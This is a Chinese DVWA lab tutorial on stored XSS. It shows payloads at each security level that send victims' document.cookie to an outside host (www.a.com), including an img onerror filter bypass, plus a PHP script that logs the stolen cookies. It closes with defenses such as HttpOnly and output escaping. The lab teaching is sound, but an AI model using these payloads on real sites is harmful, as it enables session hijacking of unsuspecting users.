DVWA 黑客攻防演练(十一) 存储型 XSS 攻击 Stored Cross Site Scripting

时间:2022-08-27 08:31:29

上一篇文章会介绍了反射型 XSS 攻击。本文主要是通过 dvwa 介绍存储型 XSS 攻击。存储型 XSS 攻击影响范围极大。比如是微博、贴吧之类的,若有注入漏洞,再假如攻击者能用上一篇文章类似的代码获取用户的 cookies,想想如果代码中再加入自动转发功能,每个看过那条微博的用户都会被偷 cookies 和自动转发!像网络病毒一样的传播速度啊!恐怖如斯!

低级

DVWA 黑客攻防演练(十一) 存储型 XSS 攻击 Stored Cross Site Scripting

功能很简单。点击提交就会有相应的文字。 此时,Hacker 在里面输入 <script>alert(1)</script>

DVWA 黑客攻防演练(十一) 存储型 XSS 攻击 Stored Cross Site Scripting

也就是有注入漏洞了。于是 Hacker 再输入了 <script src="//www.a.com/test.js"></script>

//test.js
var img = document.createElement("img")
img.src = "http://www.a.com/?cookies="+escape(document.cookie);
document.body.appendChild(img);

然后所有看到这条信息的用户的 cookies 就会被偷走了。 而低级的代码是这样的,没有做任何的防护

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] ); // Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close();
}
?>

中级

中级代码,会意识到这个问题 所以会对 message 进行处理

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] ); // Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message ); // Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = mysql_real_escape_string( $name ); // Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close();
} ?>

然而百密一疏,name 字段只有去掉 script 字符串 和用mysql_real_escape_string函数进行转义

所有可以利用 name 字段注入

Hacker 输入在 Name 字段输入 前端那里有个字符长度的限制。你可以用火狐直接将 maxlength 改大,或者用 brupSuite 的改就可以了。 所以这代码最后还是可以被注入的。

高级

高级代码 对 name 的验证有所改变。

<?php
//... // Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = mysql_real_escape_string( $name ); //...
?>

如果看过上一篇文章,应该会了解。这样的代码可以用 img 等元素绕过的。 <img src=x onerror="e=escape;this.src='//www.a.com?cookies='+e(document.cookie)"> 要改下 www.a.com/index.php 因为原本只是记录 cookies 到文件中,不返回图片的。这段注入代码执行后会不断地发请求的。所以改成返回一张图片就可以了。比如

<?php
$name = 'gakki.jpg';
$fp = fopen($name, 'rb'); header("Content-Type: image/png");
header("Content-Length: " . filesize($name)); fpassthru($fp);
$c = $_GET["cookies"];
echo $c;
error_log($c ."". "\n",3,"/var/log/a/cookies");
?>

结果如下

DVWA 黑客攻防演练(十一) 存储型 XSS 攻击 Stored Cross Site Scripting

沉迷我老婆美色的时候,cookie 就被偷走了

不可能

不可能级别有

  • anti-token 机制防 CSRF 攻击
  • 使用 db->prepare  预编译,绑定参数的方式,防 SQL 攻击
  • name 和 message 参数通过 htmlspecialchars 等函数防御
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] ); // Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message ); // Sanitize name input
$name = stripslashes( $name );
$name = mysql_real_escape_string( $name );
$name = htmlspecialchars( $name ); // Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
} // Generate Anti-CSRF token
generateSessionToken(); ?>

防御 XSS 攻击

下面是防御 XSS 攻击的措施

  • 参数校验,比如中高级的如果 name 参数后端也判断了长度不能超过 10。 攻击者注入的难度的增大很多了。比如百度网盘这个案例
  • 后端可以使用 HttpOnly 的方式,之前的攻击手段基本会用 document.cookies 就能获取当前网页的 cookie 了。 比如这样
<?php
header("Set-Cookie: cookie1=test1");
header("Set-Cookie: cookie2=test2;httponly",false)
?>
<script>
alert(document.cookie);
</script>

只会把 cookie1=test1 弹窗。就算有漏洞也可以减少损失

  • 输出的检查,比如 php 中 htmlspecialchars 函数。

DVWA 黑客攻防演练(十一) 存储型 XSS 攻击 Stored Cross Site Scripting的更多相关文章

  1. DVWA 黑客攻防演练(十)反射型 XSS 攻击 Reflected Cross Site Scripting

    XSS (Cross-site scripting) 攻击,为和 CSS 有所区分,所以叫 XSS.又是一种防不胜防的攻击,应该算是一种 "HTML注入攻击",原本开发者想的是显示 ...

  2. DVWA 黑客攻防演练(十三)JS 攻击 JavaScript Attacks

    新版本的 DVWA 有新东西,其中一个就是这个 JavaScript 模块了. 玩法也挺特别的,如果你能提交 success 这个词,成功是算你赢了.也看得我有点懵逼. 初级 如果你改成 " ...

  3. DVWA 黑客攻防演练(一) 介绍及安装

    原本是像写一篇 SELinux 的文章的.而我写总结文章的时候,总会去想原因是什么,为什么会有这种需求.而我发觉 SELinux 的需求是编程人员的神奇代码或者维护者的脑袋短路而造成系统容易被攻击.就 ...

  4. DVWA 黑客攻防演练(十二) DOM型 XSS 攻击 DOM Based Cross Site Scripting

    反射型攻击那篇提及到,如何是"数据是否保存在服务器端"来区分,DOM 型 XSS 攻击应该算是 反射型XSS 攻击. DOM 型攻击的特殊之处在于它是利用 JS 的 documen ...

  5. DVWA(七):XSS(stored)存储型XSS攻击

    存储型XSS : 存储XSS,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在.提交JS攻击代码存储到数据库然后再输出. low: 观察源码: <?php if( isset( ...

  6. 利用mysql对特殊字符和超长字符会进行截断的特性 进行存储型XSS攻击——WordPress &lt&semi;4&period;1&period;2 &amp&semi; &lt&semi;&equals;4&period;2 存储型xss

    转自:Baidu Security LabXteam http://xteam.baidu.com/?p=177 漏洞概述 本次漏洞出现两个使用不同方式截断来实现的存储型xss,一种为特殊字符截断,一 ...

  7. DVWA 黑客攻防演练(十四)CSRF 攻击 Cross Site Request Forgery

    这么多攻击中,CSRF 攻击,全称是 Cross Site Request Forgery,翻译过来是跨站请求伪造可谓是最防不胜防之一.比如删除一篇文章,添加一笔钱之类,如果开发者是没有考虑到会被 C ...

  8. DVWA 黑客攻防演练(九) SQL 盲注 SQL Injection &lpar;Blind&rpar;

    上一篇文章谈及了 dvwa 中的SQL注入攻击,而这篇和上一篇内容很像,都是关于SQL注入攻击.和上一篇相比,上一篇的注入成功就马上得到所有用户的信息,这部分页面上不会返回一些很明显的信息供你调试,就 ...

  9. DVWA 黑客攻防演练(八)SQL 注入 SQL Injection

    web 程序中离不开数据库,但到今天 SQL注入是一种常见的攻击手段.如今现在一些 orm 框架(Hibernate)或者一些 mapper 框架( iBatis)会对 SQL 有一个更友好的封装,使 ...

随机推荐

  1. xcode8控制台输出很多日志

    解决方法:command + shift + <,在环境变量里添加图中字段就行了.

  2. First Missing Positive &amp&semi;&amp&semi; missing number

    https://leetcode.com/problems/first-missing-positive/ 我原以为数组中不会有重复的数字,所以利用min.max分别记录给定数组中出现的最小正整数和最 ...

  3. &lbrack;NOIP2008&rsqb; 提高组 洛谷P1155 双栈排序

    题目描述 Tom最近在研究一个有趣的排序问题.如图所示,通过2个栈S1和S2,Tom希望借助以下4种操作实现将输入序列升序排序. 操作a 如果输入序列不为空,将第一个元素压入栈S1 操作b 如果栈S1 ...

  4. java笔试题&colon; ——将e&colon;&sol;source文件夹下的文件打个zip包后拷贝到f&colon;&sol;文件夹下面

    将e:/source文件夹下的文件打个zip包后拷贝到f:/文件夹下面 import java.io.*; import java.util.zip.ZipEntry; import java.uti ...

  5. c - 水仙花数&period;

    #include <stdio.h> #include <math.h> /* *打印出所有的“水仙花数” ,所谓“水仙花数”是指一个三位数,其各位数字立方和等于该数本身. * ...

  6. 使用国内镜像更新sdk方法

    使用国内的镜像资源: 1.mirrors.neusoft.edu.cn //东软信息学院 2.ubuntu.buct.edu.cn/ubuntu.buct.cn //北京化工大学 3.mirrors. ...

  7. 【转】没那么难,谈CSS的设计模式

    什么是设计模式? 曾有人调侃,设计模式是工程师用于跟别人显摆的,显得高大上:也曾有人这么说,不是设计模式没用,是你还没有到能懂它,会用它的时候. 先来看一下比较官方的解释:“设计模式(Design p ...

  8. RabbitMQ 生产消息并放入队列

    前提已有 Exchange, Queue, Routing Key, 可以在 web 页面点击鼠标创建, 也可在消费端通过代码自动创建 web 页面配置步骤: https://www.cnblogs. ...

  9. Linux模拟控制网络时延

    之前以为可以使用Linux自带的工具模拟控制网络时延,所以上网找了一些资料.后来发现,找到的资料目前只支持在一个网卡上模拟发送报文的时延,而不能设置有差别的网络时延,或者说当要模拟的向A发送的时延与要 ...

  10. 巧用CASE WHEN 验证用户登录信息

    最近逛博客园的时候偶然看到一个很巧妙的SQL,巧妙利用CASE WHEN 实现一个简单的 SQL 同时验证用户帐号是否存在.密码是否正确.晓菜鸟之前的做法都是根据用户名和密码一起验证,如果验证失败直接 ...